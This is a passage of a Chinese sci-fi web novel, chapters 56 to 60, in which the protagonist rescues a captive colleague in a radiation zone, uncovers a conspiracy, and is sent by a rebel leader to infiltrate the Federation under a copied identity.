E2604不在墨格拉的监控范围,终端始终连不上信号,导航也无法使用,宋拾只能先将摩托车开到一家修理店。 店铺上了年代,布满刮痕的玻璃窗还缺了一角,装潢复古,木质地板踩起来咯吱咯吱响。 老板是个面善的中年女人,人总笑眯眯的,和宋拾有一搭没一搭地闲聊。 “姑娘看起来不像是本地人啊,怎么会来这里?”老板坐在马扎上,粗糙的手指捏着旱烟,往水泥台阶上磕了两下。 “去见一个朋友,”宋拾顿了顿,接着道,“她在康乐街,老板知道怎么去吗?” 昨晚她剥茧抽丝查了好久,才查到陶顺安并不是多科本地人,而是E2604的原住民,也不知道怎么躲过程序更改了户籍。 “朋友?”老板怔愣片刻。 这里是辐射区,变异的婴儿和变异的动物屡见不鲜,政策是不准他们离开E2604半步的,但还是有不少人决定铤而走险到外面谋生,这么想,倒也不太奇怪。 “哎呀,康乐街离这里有些远,我也不好给你指路……” 老板扭头撇了眼店里的钟表,“哟,你赶得还挺巧,再过几分钟途径康乐的公交车就来了。” “谢谢。” 宋拾付了五百星币,将摩托车寄存在老板这,又换了些零钱。 没等太久,漫天飞舞的黄沙中驶出来一辆破旧的公交。 离开前老板特意嘱咐了一嘴:“不要和车上的人说话,特别是那些看着就精神不正常的人……” 上车,投币,车门钝钝地合上。 司机透过后视镜,盯着上来的女人投了币才移开视线。 车内充斥着汗气和人体的臭味,他们萎靡颓废地瘫在包浆的座椅上,死气沉沉的眼珠一眨不眨。 他们被丢在旧世界,看不见黎明的曙光。 车窗外翻滚着黄沙,看不清太远,那些破旧荒废的大厦在风沙中若隐若现。 一路上的建筑都是旧世界遗留下来的,斜斜的钢筋混泥土建筑立在地面上。 高大的灯塔在风沙中忽明忽暗,旧得仿佛上世纪的老古董。 宋拾跟老板闲聊得知E2604区异种时常出没,倘若没有灯塔的守护,当地居民的处境会更加危险。 但联邦可不会给他们拨款,别说换新,连修葺的钱都没有。想要活命,就只能他们自己修。 人们几乎没有什么防护措施,爬上几百米高空去维修,从下往上看,那些自愿爬上去维修的人像一粒粒不起眼的黑蚂蚁。 她收回目光,看了眼路线,到康乐还要途径七八个站点。 天气炎热,坐在她身旁的妇女怀里的婴儿却被被褥裹得严实,厚重的布料下传来断断续续的哭啼。 “乖……” 妇女机械性地拍了拍襁褓,眼底的青黑透着深深的疲惫。 突然,她满是红血丝的眼珠瞪向宋拾。 “你要不要帮我抱一下孩子呀,我好累……好累……孩子爹也死了,就留我们母子俩……” 她说得颠三倒四,却不忘重复那句,“帮我抱一下孩子吧……” 宋拾眼皮跳了跳,想起老板的话,于是移开视线,没搭腔。 女人却不依不饶,将蒙的严严实实的婴儿往外送。 滋—— 公交遽然刹车,递到半路的婴儿由于惯性被她摔在了地上,随即爆发撕心裂肺的哭啼声。 被褥散开,一张畸形的脸上布满褶皱,一颗大眼占据足足大半张脸。 车内的其他乘客像是没有听见任何动静,全程都没有往妇女那边看。 司机扯着嗓子急躁喊:“死亡路到了,要下车的赶紧下车!这里没有灯塔!” 妇女蹲下去,瘦骨嶙峋的胳膊伸出去,好似一根粗糙的木棍。 “啊呀,不要哭……人家不要你……” 她小心翼翼地抱起小孩,木然的脸上露出可怖又凄惨的笑容,嘴唇张了张: “真不抱抱吗?” 宋拾望着窗外,没有回头,直到听见脚步挪开,一步步离开了公交车。 公交车驶远,她发现那个诡异的妇女还在盯着车,很快,风沙淹没了她,消失在视线中。 车颠簸行驶,不知过了多久,车上的乘客只剩下她一个人,康乐街到了。 这里根本不是条街,也许曾经是。 地表被沙土覆盖,甚至没有半点绿植,旧世界的建筑仍伫立着,它们曾经遭受过变异物种的大规模破坏,已经荒废了。 拥挤的居民楼外晒满了衣服,唯一让人觉得生机勃勃的是楼下嬉闹的孩童,跳格子,丢沙包,嘻嘻哈哈。 嘎吱嘎吱的木楼梯,有几节遭到了侵蚀,只留下参差不齐的豁口,一眼能望到沙地。 宋拾一口气爬到五楼,敲响一户人家的铁门,没敲几下,门透出来一条缝,露出一张沧桑的女人的脸。 她看起来六十多岁,满头白发,岁月的痕迹冲刷她的面庞。 “你是谁?”她警惕地上下打量眼前的年轻女人,几乎瞬间下了结论—— 生的这么白,绝对不是E2604的人。 宋拾弯起眉,柔声笑道:“阿姨您好,我是陶顺安的同事。” 第57章 铁皮屋向阳开着扇窗,养着几株仙人掌,晾晒的两件洗褪色发毛的衣裳被燥热的暖风吹得一荡一荡。 房间不大,客厅不仅是客厅,还是卧室。 陶顺安的母亲和嫂子坐在板凳上,脸上挂着局促的笑。 嫂子的四个孩子安静地待在角落里,她们的衣服虽然破旧不合身,却并不脏,睁着眼睛懵懂地望着坐沙发上的陌生女人。 宋拾弯起眼眸,让自己看起来更亲切些:“顺安很能干,才进入多科市安防部就当上大队长了。” “才?”母亲愕然愣住, 就连旁边的嫂子也蹙起了眉。 却见一个小男孩蹦起来,瞪着黑白分明的眼珠:“你胡说!姑姑八年前就当上安防员了!” “小石!”嫂子眼神严厉地剜过去, 男孩畏畏缩缩地又低下了头。 八年前?这次换宋拾愣住。 八年前就是4025年,陶顺安出车祸死亡的那一年…… “哎呀,你说,她当上大队长了?”母亲抹着眼泪,悄悄地转移话题。 谁知情绪一上来, 眼泪刹不住似地,呜咽起来,“我是高兴的, 上次回来也不告诉我。” 其实她们早就察觉到不对劲, 可没人敢去问去思考。 陶顺安有三年没有和家里人联系,仿佛人间蒸发一般。她们也去不了外面,只能托人去多科市找,结果得到的音信却是: “我问了,人家说安防局里就没有一个叫陶顺安的人……” 八年,足以让一个年轻的姑娘蜕变成成熟的女人, 可时间未在她女儿身上留下半点痕迹。 她依旧笑盈盈的,依旧是个充满活力充满梦想的小姑娘。 “应该是想闯出一番成就后,再告诉你们吧。”宋拾安慰道,心里却敏锐地注意到她说的“上次回来”。 她悄悄地打量房间,遗憾的是,实在没找到能藏人的地方,顾念应该不在这。 嫂子给她一罐过期罐头,这显然是她们能拿出的最好的东西。 几个孩子流着口水,紧紧地盯着罐头,宋拾吃了几口,就分给孩子了。 “我不饿,来之前已经吃过饭了。” 三个孩子乌泱地挤过来,倒是有个女孩,她始终都很安静,也不去抢罐头,只是坐在角落里玩弄着缺了一只耳朵和腿的兔子玩偶。 嫂子叹气,指着女孩说:“这孩子天生不爱说话,偏偏和她姑姑关系是最好的。” 两人又扯七扯八问起陶顺安的情况,但宋拾全然听不进去,下意识答复着,余光却注意那个女孩的一举一动。 小女孩似乎习惯了隐形人的生活,一声不吭摆弄着玩偶,突然她抬起头看了眼旧钟表。 “我们安安没得罪人吧?她从小呢也不懂为人处世,希望你能多担待担待……”老母亲操心地说着。 “没有没有,顺安人很好,对我们这些同事也很好,那可是两肋插刀呢……” 虽然是物理意义上的插刀。 宋拾抿了抿唇,违着心说道。 嫂子身子前倾,凑的进了些,眼底盛满希冀:“顺安说政策改了,有机会能带我们一家都到多科市生活,是真的吗?” 两人距离太近,宋拾能清楚地看清女人粗糙的皮肤上的皱纹,她带着讨好的笑,偏偏这一笑,眼角的皱纹更是层层叠叠挤在一起。 “抱歉,关于政策方面,我也不太了解。”她摇头,余光窥见那个小女孩悄悄站起身,走了出门。 她似乎一直那么不起眼,走了后,也没人发现没人在意。 “这样啊……”嫂子脸上的笑僵住,失望地缩回身子。 宋拾歉意一笑,“其实我是来找顺安的,既然她不在,我就先告辞了。” “这么早就走了,”母亲站起身,“我送送你吧……” “不用送不用送。”宋拾连连摆手拒绝,迅速闪出门外。 铁门关上的那刹,里面传来女人低声却歇斯底里的话音:“我就说顺安是骗我们的!你瞧她同事的表情,哪能有这种政策……我命真苦……” 另一个苍老的声音:“娟啊,是我们亏待你……” “亏待?!”女人的嗓音不自觉拔高,“陶顺康那个傻货为了妹妹的前途,家和命他都不要了!现在倒好,他死得轻松,我呢?我要照顾这么一大家子!陶顺安那家伙,他哥那么待她,她一分钱也不往家里拿!失踪那三年我还以为她死了呢!” “娟……” “你现在说亏待?有用吗?!” “……” 宋拾叹了口气,悄然走开了,刚走下楼梯,就看见小姑娘鬼鬼祟祟地探着脑袋张望,溜进黝黑的房间。 她轻手轻脚地跟着进了房间,房间黑漆漆的,爬满蜘蛛网,灰尘飞舞,不时溜过几只耗子,地窖似的板子被人搁到一旁。 废弃布满蜘蛛网的地下室,草垛上躺着一个满身伤痕的女人,衣服上的血早已凝固发黑,唇色发青发白,脖颈被一条成人手臂粗的铁链拴住。 水泥柱旁堆放的变质食物臭气熏天,蚊虫嗡嗡嗡。女孩皱着鼻子,努力从这些变质食物中挑选能吃的。 草垛上奄奄一息的女人却嗤笑:“哟,你比你姐善良点,她可不会给我挑。” 女孩终于挑好食物,走到女人跟前,平静的目光俯视她,好半天才费劲地从嘴里挤出一句:“她不是我姐。” “放了我呗,我当你姐。” 女人脸上有道旧疤,不笑时像生气,勾起唇笑却又带着些不正经的痞气。 小女孩好似没听见,喂女人吃了点东西和水后就离开了。 地下室重归安静。 顾念翘起二郎腿,眼睛眯起斜睨黑暗的角落,“还要待多久啊。” “队长还是那么敏锐呀。” 阴影中好似有什么晃了晃,走出来一个人,黑发黑眼,干净利落的短发,嘴角挂着散漫的笑。 顾念有一瞬间仿佛看见了当年的自己,说实话,有些感动,但下秒,那些感动荡然无存。 “哎呦呦,落魄了顾队,你可欠我个人情哦。”宋拾嬉皮赖脸凑过去,指尖的蓝光在铁链上一绕,啪嗒一声断裂。 “……”顾念顿了顿,问道:“你是怎么找到这里的?” “本来去多科市没找到你,然后看监控发现陶顺安带你去了E2604,我就来了。” 她说得煞有其事,一只手扶着顾念,空出来的手为她治疗,原本苍白的脸颊逐渐红润起来,嘴唇也有了血色。 两人简单地聊了大概,宋拾将她放进自己的领域内休息,离开了地下室。 小姑娘早已不见身影,大概是跑上楼回家了。居民楼下刚才玩闹的一群小孩也只剩下两个,安静得令人心生燥意。 也不知道下一班公交什么时候来。 她踢着碎石,走到摇摇欲坠的公交站牌旁。 呜呜的狂风吹着,空中的沙终究是糊了宋拾一脸,她呸呸呸吐个不停,余光中看见有人朝这边走来。 哟呵,熟人。 陶顺安背着一个血肉模糊的家伙脚步一浅一深走过来,她显然也看见了她,脚步快了些。 两人距离越来越近,宋拾彻底看清她背上的人。 面部几乎看不清原本的模样,但她还是认了出来是查普曼。 她忍不住想到前天晚上的预知,查普曼这幅模样显而易见是霍尔弄的,只是没想到老登真难杀,又被人救了。 “你来这里干什么?”陶顺安警惕地看着她,实在没料到有人会摸到这里。 但见只有她一个人,想着应该还没有找到顾念,才舒了口气。 不过,怎么会是她? 她难道不应该随着永生实验室的爆破死掉了吗? 宋拾笑容扩大,很是缺德,探头问: “哎呀,这不是查普曼大人吗?怎么碎成这样啊,你这是……打算把他拼回去?” “跟你有什么关系!”陶顺安恶狠狠地瞪她一眼,“你来这里有什么目的?” “我能有什么目的呀,人家专门来看望你的呀,谁知道你不在家呢?” 宋拾温温柔柔笑着,陡然放高音量,“阿姨!顺安回来了!” 楼上的人听见动静,探了头,有小孩喜悦尖叫:“姑姑回来了。” 随后是楼梯处传来凌乱的脚步声。 “安安!”母亲的呼喊。 “哎,妈,是我!” 陶顺安应声,锁紧眉头瞪她:“你没给她们说什么吧?” 宋拾没回答,目光犀利起来,上下扫视她,“你不怕你这样给他们带来麻烦吗?” “你在胡说什么?” “你我都知道,这次上面大换血,你这么救他,还把他带到家里,真不怕给自己家招灾啊?” “我救他当然是为了我的家人!”她顿住了,恼羞成怒,“这关你什么事?” “你不想说?”宋拾挑衅看眼楼梯口,啪嗒嗒的脚步声越来越近。 陶顺安这才真的慌了,崩溃地压低嗓音:“你想知道什么?” “一切,我奉劝你说实话,不然你也不想你的家人知道一切吧?特别是你失踪的那三年。” 她的脸色苍白到了极点,嗓音发颤:“医院的事是我搞的鬼,还有白峥裴木清以及顾念,都是我害的!哈哈哈,你满意了吗?只有这样,只有这样!查普曼才会帮我修改我家人的户籍,搬离这里,你满意了吗!” 她面容狰狞,可看见朝她奔来的家人时,又瞬间扬起了苦涩疲惫的笑。 “安安!母亲想要抱住女儿,可见她后背血肉模糊的人,顿时吓了一跳。 陶顺安苍白解释:“妈,有些东西不好解释,他需要在我们家养一段伤。” 养伤,能怎么养,伤成这样子,多半是用自己的血来喂养吧。 母亲没察觉到不对,看见不远处上公交背影,“咦,你怎么也不拉你朋友进屋再坐坐?她专门来咱家看望你的,只是我告诉她你不在就有走了” “聊了……她有什么说我什么?” 母亲笑了,“你这孩子,人家说了你升职,怎么这么大的事也没告诉我。” “工作太忙了。” 第58章 “请居民们减少外出, 在家等待雨停,出门时务必带上专用雨具。” 罗元市夜晚,甜雨簌簌下起, 发出警示的光球游荡在城市上空。 悲悯的女神像垂眸俯视人间,泪似的雨从她眼下滑落,折射着水晶光泽落到城市每一处。 落在十字路口,模糊的红绿灯,一朵朵黑伞,擦肩而过。 甚至落到了床褥上。 付秋棠感到一阵冷意,半梦半醒间, 听见“咚咚”急促的敲门声, 她茫然睁开眼。 百叶窗开着,雨水顺着缝隙溜进来,落在她的面颊上。 驶过的悬浮车将百叶窗浸染成梦幻的色彩,一层层绚丽的光交织变换。 “咚咚。” “来了来了……谁啊……” 付秋棠揉着眼睛,睡眼惺忪,打着哈欠走出卧室,打开门,湿冷的水汽顷刻间袭来,激得她汗毛直立。 门外的女人浑身湿透, 打湿发黏在面颊, 缠在苍白脖颈,活似刚从水中爬出来的水鬼。 水鬼突然笑了,“爹的,下的甜雨,还好我跑的快……”说完,连打几个喷嚏。 付秋棠见状, 顿时困意全无,连忙推她进屋。 “淋成这样还真是命大,浴室有热水,你先去洗把澡。” “……你饿不饿?饿的话我给你煮面吃,最近刚学的煮面条,但还没试过,你要不要尝尝?” 宋拾瞥了眼终端,凌晨3:45,再过两三个小时就可以准备回基地了。 她打断她,“贝莉娅呢?” “你刚走没多久,她就离开了,像是有很急的事情,让我告诉你别担心。” “哦……”也好,行程不那么赶了。 宋拾顿了顿,后知后觉想到什么,狐疑打量她,“你会做饭?” “那当然。” 付秋棠不免神采奕奕起来,汲着兔子拖鞋往厨房走,她半个身子陷进厨房,“你等着,我给你煮碗面吃。” “好。” 温馨的灯光照下来,温暖而舒服,迟来的疲惫几乎吞没她,浑身酸痛,宋拾恨不得直接瘫在沙发上。 但还不能休息。 她将顾念放出来,放在沙发上,用清洁术法将她身体清理干净,拿张毛毯盖上,才拖着疲惫的身体走进浴室。 淅沥沥的流水,潮湿朦胧的水汽,女人倚靠着瓷砖墙,任由热水顺着脖颈一寸寸淌下。 水雾模糊了视线,刺痛眼球,好像也刺痛了别的地方,疼痛愈演愈烈,犹如一把利刃刺进膝盖,她惨白着脸弓起背。 耳边嗡鸣,大脑空白片刻,便闪出可怖的念头——该不会得了风湿吧。 一时间有些眩晕,她甩了甩脑袋,却看见瓷砖地板上的花朵变成小风车,吱呀呀地转。 终于,大概是几个小时,又或者是几分钟,痛意消退,她劫后余生走出浴室。 这时,付秋棠端着一碗鸡蛋面走出厨房,她不可思议地瞪大眼,“你——是不是长高了?” “??” 宋拾不明所以,走到落地镜前。 她眯了眯眼睛。 好像…… “你不是成年了吗,成年怎么还能长个子——” 付秋棠又惊又疑盯着她,将碗放在桌上,猛然瞥见沙发上的人,险些飘高音,“哪里冒出来的?” “我带回来的。” 宋拾顺手向她展示了领域空间,随即收获崇拜的小眼神。 “真好,要我也是精神师就好了,还能变魔术逗自己玩……我再去做一碗吧,过会她醒了就能吃了。” 付秋棠“噔噔噔”跑进厨房里忙活,客厅重归安静,餐桌上的面条冒着热腾腾的香气。 宋拾这才好好打量这间出租屋,它被付秋棠布置得很温馨。 粉色餐桌上摆着精致的花瓶,插着几朵新鲜的花,五个座椅上都会摆上不同的玩偶,大概只有这样才不会觉得孤单。 她埋头吃起面,自从离开挪亚小镇,她就没吃过人饭了。 一碗热腾腾的鸡蛋面很能抚慰一个干瘪的肚子。 不一会儿,大碗面见了底。 “呀,你醒了。” 不知什么时候,付秋棠端碗走了出来。 顾念醒了,她倚靠着沙发,还很虚弱,唇色苍白干裂,却勾着唇:“什么东西那么香?” 付秋棠笑容加深,将碗递过去:“这是给你的。” 她第一次做饭,没想到那么招人喜欢,不免开始飘飘然。 真有那么好吃? 她让宋拾喂她一吃口,结果入口齁咸,盐放多了。 她看眼顾念,对方埋头干饭,吃的很香。 “……” “你们真觉得好吃吗?”不会是怕她伤心吧。 结果俩人异口同声:“好吃!” 宋拾竖起大拇指:“大师水准。” 付秋棠恍惚了。 有种全世界的厨艺都下降了,连她这种货色都能称得上是特级厨师的荒谬感。 …… 宋拾扒拉完最后一口,瞥见厨师小姐恍恍惚惚飘进卧室里补觉去了。 她闲的无事,托腮盯顾念吃饭,“说起来,我有好多事情搞不明白。” “什么?” “当时发生了什么?白峥为什么突然去监狱杀人?” 顾念脸颊的疤痕一抽,眉峰攒簇。 “罪犯9533 ,当年杀害白峥姐姐的凶手,听说今年刑满释放,虽然恨,但老白不是那么没有理智的人,我也搞不明白怎么会突然闯进监狱杀人……” “他当时冲进我家,一副神志不清的样子,紧接着陶顺安带着一大批人乌泱泱来了,说我私藏罪犯,不配合调查。” 宋拾:“……” 原来是这么个回事。 “那裴木泽呢?他是怎么死的。” 顾念回忆了下,才道:“在医院跳楼自杀了,人好端端的,突然跑到医院顶楼,自尽了。” 都是被幻术控制了。 宋拾沉思着,咬住指甲。 “你应该不止想问这些吧。”顾念突然道,微微抬起下颌。 “确实还有一个,关于伊索纳德号的事情……” “又是伊索纳德号啊……” 顾念伸了个懒腰,瘫在沙发上。 “也不是不能说,反正我被停职了。你救我也是为了这个?” 这句话相当刺耳,但宋拾只是如实道:“无关。” 顾念笑笑,开始娓娓道来:“那是个夜晚,我们收到了一条求救信息,伊索纳德号船员发来的。” “他们说,美人鱼杀人了。” “当时船还没有登陆,我们立刻抵达港口疏散群众,后来,船靠岸了。按理说,船能成功停泊,上面肯定还有活人,但恐怖的地方就是,没有。” “我们也见到了所谓的美人鱼。” 顾念要来了纸笔,信手勾勒几笔,丑陋的鱼形生物跃然纸上。 人体鱼头,大腿是长在一起,小腿分开,生有蹼,无脚趾。 “我曾在一本绝版的书里见过这种异种,说是美人鱼,其实和绘本中的美人鱼毫无关系,它们模样丑陋,伤口愈合极快,成长周期缓慢,不死不灭的恶心生物。它们会在海洋上释放催眠的音波,吃掉船上的人。” 她咳了几声,回归正题。 “它很聪明,甚至可以说是有灵智,会控制船,装成人类诱杀猎物。那家伙根本炸不死……碎掉的肉居然也能吃人。” 宋拾闻言,眉蹙得紧,盯着纸上的美人鱼。 碎肉,不死不灭,吃人。 这不是天使三十三号吗? “后来呢?”她问。 “这种情况需要向联邦汇报,得到的回复是,等。”顾念头疼地揉揉眉心。 “再后来哀涅托的人来了,那个圣子不知道用了什么手段,带走了全部尸块。” 她眉眼倦怠,圆珠笔随意地戳破纸,“除了我和半途离开的老杨,在场的所有安防员都被上面的人悄悄处理掉了。” …… 宋拾蜷缩在次卧床上,窗外微微透亮,她按着键盘输入。 假设被人鱼袭击纯属意外,联邦第一反应该是控制局面,可偏偏是让他们等,等的还是哀涅托。 况且,把话说死了,这也只能算一次异种袭击,为什么会把事情压得那么死?不透一点风声,连带当时在场的人都要处理掉。 除非……那艘船的目的就是为了引人鱼? 她试探性地打上: “伊索纳德号就是为了捕捞美人鱼,船员却被其反杀,安防员只能炸船阻止人鱼上岸,而碎肉正是哀涅托的天使三十三号……” 打字的手微微一顿。 三十三号?那曾经会不会有一号,二号…… 她之前怎么没想到,三十三号其实是个编号,这也就说明,联邦和哀涅托的这种合作维持很久了。 “让安防员消失是为了隐瞒联邦与哀涅托合作,秘密研究永生。” 打完最后的句号,屏幕陡然蹦出黑漆漆的字: 【用户今天捡垃圾了吗,任务进度为百分之九十,您离完成任务就差一小步了哦。 】 【这里为您解锁术法读取,可在个人用户页面查看。 】 百分之九十,还差“幕后黑手是谁”。 她勾起唇,志在必得填上“联邦和哀涅托”,但进度条一动不动。 不对? ?怎么可能? 她又试了好几个名字,但无一例外,进度条丝毫没有变化。 宋拾烦躁丢掉终端,咸鱼瘫直在床上,思绪愈发混乱。 明明就差最后一步了。 前面推理的没有问题,偏偏幕后黑手……不是联邦和哀涅托,还能是谁? 猛然间,什么东西从她脑袋里闪过。 论坛要的答案具体到人。 天亮了。 阳光透过纱窗照射进来,鸽群飞速从窗前掠过,宋拾抬起手臂盖在脸上,鼻尖萦绕着沐浴露的香气。 精确到人的话——哀涅托幕后的人,或者说: 神。 可这个世界,真的有神吗? 宋拾不信鬼神,她捞起甩到床边的终端,点开主页。 用户:今天捡垃圾了吗 账户余额:十三万六千三百星币 精神术法: 【骨肉再生】【复制】【隐身】【预知】【读取】 她的视线落在【读取】上,大拇指蠢蠢欲动,但想了想,又按灭屏幕。 睡吧,再不睡会猝死的。 她卸去浑身紧绷,阖上眼皮,渐渐的,困意涌上眼皮,沉沉睡去。 朦胧中听见敲门声,好像是顾念,边骂边说什么这次大换血,正好回去处理那些破事。 她应声,翻了个身继续睡。 第59章 家用终端屏幕上, 两个卡通小人你一拳我一拳,右边被打得毫无反手之力,血条噌噌下掉。 “KO!”硕大的红字霸占屏幕。 “啊!又又又输了!”付秋棠如遭重击, 抱头打滚, “你就不能让让我吗?” 宋拾笑容灿烂,按住她的肩膀,扶正脸,粗红的墨水在小鸭子旁勾勒出一只大乌龟,“才不要,谁让你人菜瘾大。” “哎呀, 求你了, 再陪我打一局嘛, 这次让让我好不好?” 付秋棠顶着一张开动物园的脸,可怜兮兮看着她,就在这时—— “笃笃笃”房门敲响。 “我的快递!” 她表情由阴转晴,噌的一下跳起,噔噔噔跑去开门。 门开的瞬间, 玫瑰香水气扑鼻而来,是个身形高大男人,金发碧眼, 金丝眼镜衬得他温文尔雅, 像中世纪的贵族绅士。 他眯起眼,倨傲地上下扫视眼前的女人: 兔子拖鞋兔子睡衣,乱蓬蓬的头发,脸上画满幼稚的涂鸦…… 这就是西索斯让他找的人? “你是渡鸦?” 什么渡鸦?付秋棠一脸懵,还未反应过来,肩膀被人撞开,宋拾挡在她面前,微微抬起下颌。 “我是。” “是你啊——”Z挑了挑眉,音调拖长,当初他们的见面可不算友好。 “我来接你回去。”他垂眸压下情绪,彬彬有礼侧过身。 绅士又优雅。 付秋棠忍不住冒起泡泡,戳宋拾,“这是谁呀?” 宋拾淡淡道:“……一个爱喷香水的男人。” Z脸上的笑容僵住。 “走吧。”她像没看见似地,走出去的同时房门被带上。 “你的嘴一直那么毒吗?” Z打了个响指,空气扭曲,时空裂隙逐渐扩大,率先走进去,宋拾眸色微暗,紧跟其后。 最后一个术法【读取】,能读取一切精神术法,只要别人在她面前使用,她就能收为己用。 只可惜,Z使用的这个她已经会了。 基地显然是的换了地址,和上次见到的又有所不同,但熟悉的是金属长廊,“ X”的标识。 来来往往的钢铁人神情冷峻,踩在金属地板发出“铛铛铛”的声响。 两个半机械化的小孩嘻嘻哈哈跑着打闹,猛地撞到人身上,抬头看见一张冷硬的脸,立刻站直,眼观鼻鼻观心。 “Z先生……” 男人居高临下扫视他们一眼,足以让两个孩子打了个寒噤。 走远了后,宋拾听见两个小孩嘀咕:“我听薛宏说,西索斯大人其实是骗我们的,赵元博的弟弟其实不是精神师杀的……” 宋拾竖起耳朵。 “真的假的?你可别乱说,不是精神师,那是谁啊……” “是西索……” “喂,你们俩个小孩,嘀嘀咕咕什么呢?”有人训斥一声。 孩子鸟兽般跑开。 两人一前一后走着,长廊里回荡着脚步声, Z轻笑了声散漫地开口,嗓音华丽腔调浮夸: “有些家伙起了谋逆之心,居然说是西索斯大人杀的他们的亲人,谣言散开后,一些蠢货联手妄图杀死大人。” 他碧蓝如深海的眸子看向她。 “当然,他们都死了。” 宋拾不明所以挑眉。 这是警告她不要起不该有的念头? 赵柯的实验室依旧摆满瓶瓶罐罐,但那最大的营养罐却空了。 贝莉娅真的带着芙蒂斯离开了? 不一会,体检报告下来,除了有些营养不良,她很健康。 离开实验室,Z才带她去见西索斯。 一直沉默的女人突然出声:“我的搭档呢?” “搭档?” “贝莉娅。” 听到贝莉娅的名字, Z眉头舒展,笑容有些尖酸刻薄的意味,“贝莉娅?她没告诉你她已经离开回溯了吗?” 她松了口气,却又有些怅惘,黯然垂眸。 再次见到西索斯,裘皮大衣下的身形更消瘦了,形销骨立站在那里,戴黑皮手套的手握拳在唇边,止不住咳嗽,苍白的脸颊咳出病态的红。 怎么不咳死呢。 心中咒骂着,但宋拾没忘记她操的人设,恭敬弯腰行礼,“大人。” 他身侧站着两名铁皮人,颇有保镖的意味,看来那件事闹得不小,给西索斯整出心理阴影了。 她努力压下想要扬起的唇角。 西索斯审慎意味的目光落到她脸上,似乎想要找出端倪,她坦坦荡荡站得笔直,任对方的视线肆意打量。 “贝莉娅说你受伤了,休养的怎么样?” 怪不得她待了好几天,Z才找上门,一回来就是带她去检查身体。 “大人放心,伤已经好了。当时情况危急,也不知道那数据有没有搞到……” “读取到了大部分。”他漫不经心说着,突然话锋一转,“你有什么想要的奖励吗?” 老登怎么突然这么问? 当然想要离开这里,但她不能那么说。 “能为大人效力,是渡鸦的福气。”宋拾目光炙热,透亮的眸子毫无半点杂质。 西索斯眸色深了些,端详她好一会,突然笑了,唇边的弧度满是讥讽,眉宇间透出淡淡的腻烦。 “我最讨厌这些漂亮话,以后不要说了。” 这是被人背叛后产生的应激反应? 既然讨厌,她可就要多说点了。 “这不是漂亮话,它们都来自这里……” 她墨色的眸子淬着碎星,单手握拳置于左胸口,“是您在我最灰暗的时刻解救了我,为您效力,是我的荣幸。” “闭嘴。” 男人皱眉,不耐烦地打断她。 “果然在那!” 陡然间,“砰砰砰——”几声,裹挟着劲风风子弹嗖嗖嗖袭来。 一群五大三粗的钢铁人举着装置着枪的手臂,乌泱冲来。 子弹将至前,一只手抬起,它们通通悬停在半空,手指聚拢,叮叮当当落地。 宋拾警惕地盯着他们。 “他身边的是个精神师!什么和精神师不共戴天,果然是骗咱们的!” “愣着干嘛!杀了他!” 原本守在旁边的钢铁人猛然拿刀刺向西索斯,事发突然,他甚至来不及躲闪。 却觉得可笑又可悲。 这是命吧。 身边的人,无论是谁,无论多么亲近,都会背叛他,他已经习惯了,习惯将猜忌审视刻进骨髓。 “真是一群蠢货!”西索斯嗤笑,摸上兜里的控制器,只要轻轻一按,那些铁疙瘩都会报废成一堆废铁。 “我要是死了,你们以为你们——” 灰色瞳孔映着砸来匕首,一个单薄的身影挡在他跟前,瘦弱的身躯接下了凶狠的攻势。 随即,他身体一轻,被人扛起。 那双墨色眼眸映着他惊愕的脸。 “大人,是都杀了还是留条命?” 女人轻快的嗓音像是在问今天吃什么。 有人气极反笑:“好大的口气!杀了她!” “一个不留。”西索斯长睫垂下,看不清神色。 “如您所愿。” 话音落下,她行动利落地拿着匕首,见血封喉,枪口迸射出的子弹皆悬停在空中,又迅速射向开枪者。 精神力好像又强了些。 宋拾将他放下来,蹙眉看他,“大人有没有受伤?” 西索斯冷哼一声,不自然地别过脸,被人扛在肩上的屈辱感让他胸口憋着火,可偏偏是为了救他,也不好说什么。 余光窥见一抹红。 “你受伤了?” 他淡淡看了眼,顺口问了句。 宋拾瞥了眼手臂上被匕首划伤的口子:“小伤,不要紧。” 又正色审视他,打量半天,才松口气,还好没受伤。 要是体内没炸蛋,她绝对要在旁边加油助威……现在还要提心吊胆担心西索斯太过脆皮直接死掉了。 西索斯这个疯子给每个人都安置了特殊炸蛋,如果他死了,回溯的每个人都逃不掉。 她刚想到这,西索斯眉越皱越紧,原本苍白面庞愈发苍白,猛地干咳起来,摧毁肝肺似的。 “大人先回去休息吧。” “休息?” 西索斯站直身体,阴恻恻冷哼,手指摩挲控制器,“既然想要我的命,那我当然会把他们一个二个通通都揪出来。” “墨格拉。” 滋啦一声,全息影像,女人面带微笑,双手交叠于腹前。 “我在。” “一切可疑的人,列个名单出来。” “好的。”话落,蓝光交织,一排排名单浮现在半空。 这么多? 男人眼底一片幽幽的阴鸷,“拿去给赵柯当实验体。” “是。” 西索斯狠是真狠,那些名单上的人,有些的仅仅是可疑,他也容不下半点沙子,万分之一的不稳定因素也要解决掉才能够安心。 有些硬骨头不愿成为实验体,就自爆了。 回溯基地不时传来嘭嘭的声响,不是烟花,是他们炸了。 对于这种狗咬狗的戏码,宋拾不给予评价。 她以为自己起码能闲上几天时,西索斯突然拍拍她的肩膀:“有一个任务要交给你。” “什么?” 下秒,她听见那句熟悉的话语。 “去联邦做卧底。” “……” 人是窝囊惜命的,卧底自然是要当的。 很快,智环传输过来资料: 于衡,23岁,性别女,联邦军校毕业,一名新晋联邦军。 无父无母的孤儿。 照片上的女人眼尾细长高挑,薄唇紧抿,眼神冷冽,看起来生人勿近。 资料内容大到家庭状况,小到喜好厌恶,甚至是走路姿势,握笔习惯,如此细致,像是蓄谋已久。 墨格拉说,他们调查的人不止一个,资料库里一堆,从中选择合适的倒霉蛋。 赵柯新研制的“脸皮”一比一复制,完全看不出来不同,省去了她自己变。 【复制】好是好,可也仅适用于短期,长期的话,一旦意识昏迷,就会现出原形。 回溯已经掌握了“人造精神师”的资料,赵柯加班加点研究,实验体量大管够,地下牢房关押了不少奄奄一息的精神师。 恐怕,就是为了今天。 回溯想要夺取政权,不单单需要那些人造精神师军团,还需要她这种奸细,搞个里应外合,实时汇报联邦内部情况。 距离新晋军上任还有三天,她需要赶紧记住这些信息,不能露出半点马脚。 第60章 “广场上好多人啊!” 年轻漂亮的女人拿着终端,浮夸的表情像卡通人物 ,那双眸子映着不断闪过的评论: “主播终于露脸了!” “小姐姐你是谁?还我倒立行走的主播!” 小徐是个有两万粉丝小网红,由于视频内容过于抽象,始终没有广告商找上来,只能靠着平台给的三瓜两枣维持最基本的生活。 今天是神诞日,比那些法定节假日还要热闹,有些信奉苦难女神的老板甚至会直接给员工放假。 抓住这次契机,说不定她能咸鱼翻个面。 